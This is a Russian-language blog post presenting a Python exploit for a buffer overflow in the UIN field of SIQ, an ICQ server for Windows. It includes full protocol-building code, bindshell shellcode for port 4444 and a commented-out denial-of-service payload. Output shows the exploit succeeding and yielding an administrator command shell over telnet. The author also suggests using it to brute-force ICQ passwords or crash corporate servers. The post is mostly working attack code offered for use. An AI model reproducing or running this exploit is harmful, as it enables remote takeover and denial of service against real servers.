SIQ (icq server for win32) exploit
Года 3 назад страдал фигнёй, пытаясь написать модуль для работы с ICQ, осилил только авторизацию и потерял интерес =)
Так вот, тестил я своё поделие на SIQ (http://www.kht.ru/homepage/apt/siq.htm) - простенький icq сервер от "профессионала, с большим опытом автоматизации бизнес-задач"(кстати opensource), но вот проверять длину uin'a видать не кошерно, а вот и зря..., как раз в то время страдал написанием сплойтов и тп ерундой, ниже код с PoC с биндшеллов для win2ksp4ru ( ну как минимум DoS сплойт отправляющий сервер авторизации SIQAuth в даун В) )
Код никакой ценности не несёт, а вотм мне он дорог как память =), может кому будет интересно (хотя как модуль для перебора паролей к icq либо как убийца корпоративной аси и сгодитя):
# SIQ (www.kht.ru/homepage/apt/siq.htm) exploit #Coded by slav0nic (http://slav0nic.org.ua) import struct from socket import * from random import * """ word == 2 bytes ;) FLAP (6 bytes): CS - Command Start (byte) CH - Channel (byte) SN - Sequence Number (word) random L - Data Field Length (word) SNACs: -------------------------------- D - Data (L) \_ | TLV_id (word) | TLV_len (word) | TLV_data (TLV_len) |....... """ #Constants # TLV TLV_UIN = 1 TLV_PWD = 2 TLV_VERSION= 3 TLV_ERROR = 4 TLV_REDIR = 5 TLV_COOKIE = 6 TLV_COUNTRY = 14 TLV_LANG = 15 #--------------------------------- # Channels CH_LOGIN = 1 CH_SNAC = 2 CH_ERROR = 3 CH_LOGOUT = 4 HELLO = "\x00\x00\x00\x01" FLAP_START = "2a" DBG = 1 def get_hello(s): "get FLAP\x00\x00\x00\x01" data = s.recv(10) if data[-4:] == "\x00\x00\x00\x01": return True else: return False def get_length(hex_): """ hexed string ->int return int """ tmp = list(map(lambda x: str(ord(x)),tuple(hex_))) #convert hex->ascii and join tmp[0]=int(tmp[0])*256 _int=tmp[0]+int(tmp[1]) return _int #exmpl. 01 0a = 266 def tohex(str_): """ Use for debug str->hex return ([hex], str) """ hex_= map(lambda x: "%.2x"%ord(x),tuple(str_)) text =" ".join(hex_) return hex_, text def make_flap(channel,data): l = len(data) fmt = '!BBhh %ds' %l return struct.pack(fmt,0x2a,channel,randrange(0xFFFF),l,data) def tlv_make(TLV_id, TLV_data): """return tlv-encoded string""" l = len(TLV_data) fmt = '!hh %ds' % l return struct.pack(fmt, TLV_id, l, TLV_data) def parse_tlv(data): """ received data -> tvl_info{} """ tlv_info = {} while 1: if len(data)<4: break tlv_id = get_length(data[0:2]) #get tlv id (word) tlv_len = get_length(data[2:4]) #and len (word) tlv_info[tlv_id]=data[4:4+tlv_len] data = data[4+tlv_len:] #remove parsed data return tlv_info def make_snac(family, subtype, flags, req_id): fmt="!hhhl" return struct.pack(fmt,family, subtype, flags, req_id) def parse_flap(data): hex_data = tohex(data)[0] CS = hex_data[0] if CS != FLAP_START: if DBG: print "[-]Protocol error." CH = hex_data[1] SN = "".join(hex_data[2:4]) L = "".join(hex_data[4:6]) data_size=get_length(data[4:6]) D = "".join(hex_data[6:6+data_size]) tlv_info = parse_tlv(data[6:6+data_size]) print tlv_info #LOGIN if tlv_info.has_key(TLV_REDIR): ip_port=tlv_info.get(TLV_REDIR) if tlv_info.has_key(TLV_COOKIE): cookie = tlv_info.get(TLV_COOKIE) ip, port = ip_port.split(":") s = socket(AF_INET, SOCK_STREAM) # s.settimeout(3) #DBG s.connect((ip, int(port))) packet="\x2a\x01"+\ "\x20\x04\x01\x08\x00\x00\x00\x01"+\ tlv_make(6,cookie) s.send(packet) get_hello(s) rec=s.recv(1024) print "\n\nrec ",tohex(rec)[1] packet=make_flap(CH_SNAC,make_snac(0x1, 0x17, 0, 0)+\ "\x00\x01\x00\x04\x00\x13\x00\x04\x00\x02"+\ "\x00\x01\x00\x03\x00\x01\x00\x01\x00\x15"+\ "\x00\x01\x00\x04\x00\x01\x00\x06\x00\x01"+\ "\x00\x09\x00\x01\x00\x0a\x00\x01\x00\x0b\x00\x01") s.send(packet) rec=s.recv(1024) print "\n\n",tohex(rec)[1] if DBG: print "\nCS=%s CH=%s SN=%s L=%s \nD=%s"\ %(CS, CH, SN, L, D) def make_pass(str_): """ encode string to password len(password) <= 16 return binary string """ roasting_array = ( 0xF3, 0x26, 0x81, 0xC4, 0x39, 0x86, 0xDB, 0x92, 0x71, 0xA3, 0xB9, 0xE6, 0x53, 0x7A, 0x95, 0x7C) passwrd ="".join(map(lambda char, roast_byte: "%c"%(ord(char)^(roast_byte)), tuple(str_), roasting_array[:len(str_)])) return passwrd def login(uin, password): """ uin and password - string return True if logged """ serverHost = "127.0.0.1" #login.icq.com serverPort = 5190 message = make_flap(CH_LOGIN,HELLO +\ tlv_make(TLV_UIN, uin)+\ tlv_make(TLV_PWD, make_pass(password))+\ tlv_make(TLV_VERSION, "3ICQ Inc. - Product of ICQ (TM).2003a.5.47.1.3800.85")+\ tlv_make(16, "\x01\x0a")+\ tlv_make(17, "\x00\x03")+\ tlv_make(18, "\x00\x03")+\ tlv_make(19, "\x00\x01")+\ tlv_make(0x1a, "\x0e\xd8")+\ tlv_make(0x14, "\x00\x00\x00\x55")+\ tlv_make(TLV_LANG, "ru")+\ tlv_make(TLV_COUNTRY, "ru")) sockobj = socket(AF_INET, SOCK_STREAM) sockobj.connect((serverHost, serverPort)) data = sockobj.recv(1024) #get hello msg (test packet) if DBG: print "<<",tohex(data)[1] if (tohex(data)[1][0:2] == FLAP_START) and HELLO in data: if DBG: print "[+]Connected" else: print "[-]Server error. Can't get test FLAP" sockobj.close() if DBG: print "->",tohex(message)[1] # sockobj.settimeout(10) #DBG while True: sockobj.send(message) data = sockobj.recv(1024) if DBG: print "<<",tohex(data)[1] parse_flap(data) return True if __name__=="__main__": "bindshell 4444 shellcode for win2ksp4ru" sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66" sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6" sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa" sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f" sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb" sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba" sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb" sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc" sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61" sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70" sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44" sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7" sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69" sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9" sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0" sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3" sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7" sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0" sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67" sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1" sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0" sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88" sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d" sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95" sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2" #uin_for_DoS = 'A'*1023+'\x90'*418+'X'+'\x90'*418#1860 bytes# uin = 'A'*1072+struct.pack('<L',0x0072FCF0)+sc+'\x90'*400 login(uin,"123")
Запускаем и вуаля...
<< 2a 01 68 d3 00 04 00 00 00 01 [+]Connected -> 2a 01 3b 3e 07 cc 00 00 00 01 00 01 07 53 41 41 41 41 41 41 41 41 41 41 41 41 ...
Смотрим открытые порты и видим наш 4444 порт В) :
C:\\WebServer\\siq>netstat -na Активные подключения Имя Локальный адрес Внешний адрес Состояние TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING ... TCP 0.0.0.0:1035 0.0.0.0:0 LISTENING TCP 0.0.0.0:1058 0.0.0.0:0 LISTENING TCP 0.0.0.0:1101 0.0.0.0:0 LISTENING TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING TCP 0.0.0.0:5190 0.0.0.0:0 LISTENING TCP 0.0.0.0:5191 0.0.0.0:0 LISTENING
Телнетимся к порту telnet 4444 и попадаем в cmd консоль с админскими правами.
Microsoft Windows 2000 [Версия 5.00.2195] (с) Корпорация Майкрософт, 1985-2000. C:\WINNT2\system32>
Пойду понастальгирую и поковыряю другие коды) Кстати сплойт в нете ещё не выкладывался, будем считать его приватным В)